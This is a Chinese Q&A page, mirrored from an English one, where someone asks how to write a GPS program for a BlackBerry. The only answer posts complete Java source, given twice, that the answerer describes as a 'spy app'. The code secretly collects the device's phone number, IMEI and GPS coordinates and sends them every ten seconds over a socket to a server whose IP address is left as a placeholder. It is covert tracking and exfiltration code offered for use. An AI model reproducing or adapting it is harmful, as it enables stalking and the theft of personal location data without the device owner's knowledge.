如何在黑莓手机上启动GPS程序?

发布于 2024-08-03 11:24:55 字数 27 浏览 6 评论 0原文

我想如何在黑莓手机中创建 GPS 程序?

I want to how to create a GPS program in BlackBerry ?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(3

亢潮 2024-08-10 11:24:55

我曾经做过一个项目,我必须制作一个间谍应用程序,在不知道用户的情况下将其 GPS 位置发送到服务器,这里是代码,我希望它可以对您有所帮助。

package mypackage;

import java.io.OutputStreamWriter;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;

import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.location.LocationProvider;

import net.rim.blackberry.api.phone.Phone;
import net.rim.device.api.gps.BlackBerryCriteria;
import net.rim.device.api.gps.BlackBerryLocation;
import net.rim.device.api.gps.BlackBerryLocationProvider;
import net.rim.device.api.gps.GPSInfo;
import net.rim.device.api.i18n.SimpleDateFormat;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.ui.component.Dialog;

public class MyApp extends Application
{
public BlackBerryCriteria _criteria;
public BlackBerryLocationProvider _locationProvider;
public BlackBerryLocation _location;
public SocketConnection socket;
double lat;
double lon;
public Timer _timer;
public TimerTask _timerTask;
public String _imei;
public Date date;
public String pNumber;

public static void main(String[] args)
{   
    MyApp theApp = new MyApp();       
    theApp.enterEventDispatcher();
}
public MyApp()
{               
    _imei = IDENInfo.imeiToString(IDENInfo.getIMEI());
    pNumber = Phone.getDevicePhoneNumber(true);
    _criteria = new BlackBerryCriteria();
    if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){
    _criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS);
    }else{
        Dialog.alert("GPS not Available");
    }
    _timer = new Timer();
    _timerTask = new TimerTask(){
        public void run() {

            try{
                String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis()));

                _criteria.setHorizontalAccuracy(5);
                _criteria.setVerticalAccuracy(5);
                _criteria.setPreferredResponseTime(10000);
                _locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria);
                _location= (BlackBerryLocation)_locationProvider.getLocation(-1);
                lat =_location.getQualifiedCoordinates().getLatitude();
                lon = _location.getQualifiedCoordinates().getLongitude();   
                String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false";
                socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE); 
                socket.setSocketOption(SocketConnection.KEEPALIVE,1);
                OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream());
                String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##";
                int length = data.length();
                _out.write(data,0,length);
                _out.close();
                socket.close();
            }catch(Exception e){
                Dialog.alert(e.toString());
            }
        }
    }; 
   _timer.scheduleAtFixedRate(_timerTask, 0,10000);
}    
}

I have worked on a project where i have to make a spy app to send GPS location of the user to the server without knowing him here is the code for that i hope it may help you a little bit.

package mypackage;

import java.io.OutputStreamWriter;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;

import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.location.LocationProvider;

import net.rim.blackberry.api.phone.Phone;
import net.rim.device.api.gps.BlackBerryCriteria;
import net.rim.device.api.gps.BlackBerryLocation;
import net.rim.device.api.gps.BlackBerryLocationProvider;
import net.rim.device.api.gps.GPSInfo;
import net.rim.device.api.i18n.SimpleDateFormat;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.ui.component.Dialog;

public class MyApp extends Application
{
public BlackBerryCriteria _criteria;
public BlackBerryLocationProvider _locationProvider;
public BlackBerryLocation _location;
public SocketConnection socket;
double lat;
double lon;
public Timer _timer;
public TimerTask _timerTask;
public String _imei;
public Date date;
public String pNumber;

public static void main(String[] args)
{   
    MyApp theApp = new MyApp();       
    theApp.enterEventDispatcher();
}
public MyApp()
{               
    _imei = IDENInfo.imeiToString(IDENInfo.getIMEI());
    pNumber = Phone.getDevicePhoneNumber(true);
    _criteria = new BlackBerryCriteria();
    if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){
    _criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS);
    }else{
        Dialog.alert("GPS not Available");
    }
    _timer = new Timer();
    _timerTask = new TimerTask(){
        public void run() {

            try{
                String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis()));

                _criteria.setHorizontalAccuracy(5);
                _criteria.setVerticalAccuracy(5);
                _criteria.setPreferredResponseTime(10000);
                _locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria);
                _location= (BlackBerryLocation)_locationProvider.getLocation(-1);
                lat =_location.getQualifiedCoordinates().getLatitude();
                lon = _location.getQualifiedCoordinates().getLongitude();   
                String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false";
                socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE); 
                socket.setSocketOption(SocketConnection.KEEPALIVE,1);
                OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream());
                String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##";
                int length = data.length();
                _out.write(data,0,length);
                _out.close();
                socket.close();
            }catch(Exception e){
                Dialog.alert(e.toString());
            }
        }
    }; 
   _timer.scheduleAtFixedRate(_timerTask, 0,10000);
}    
}
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文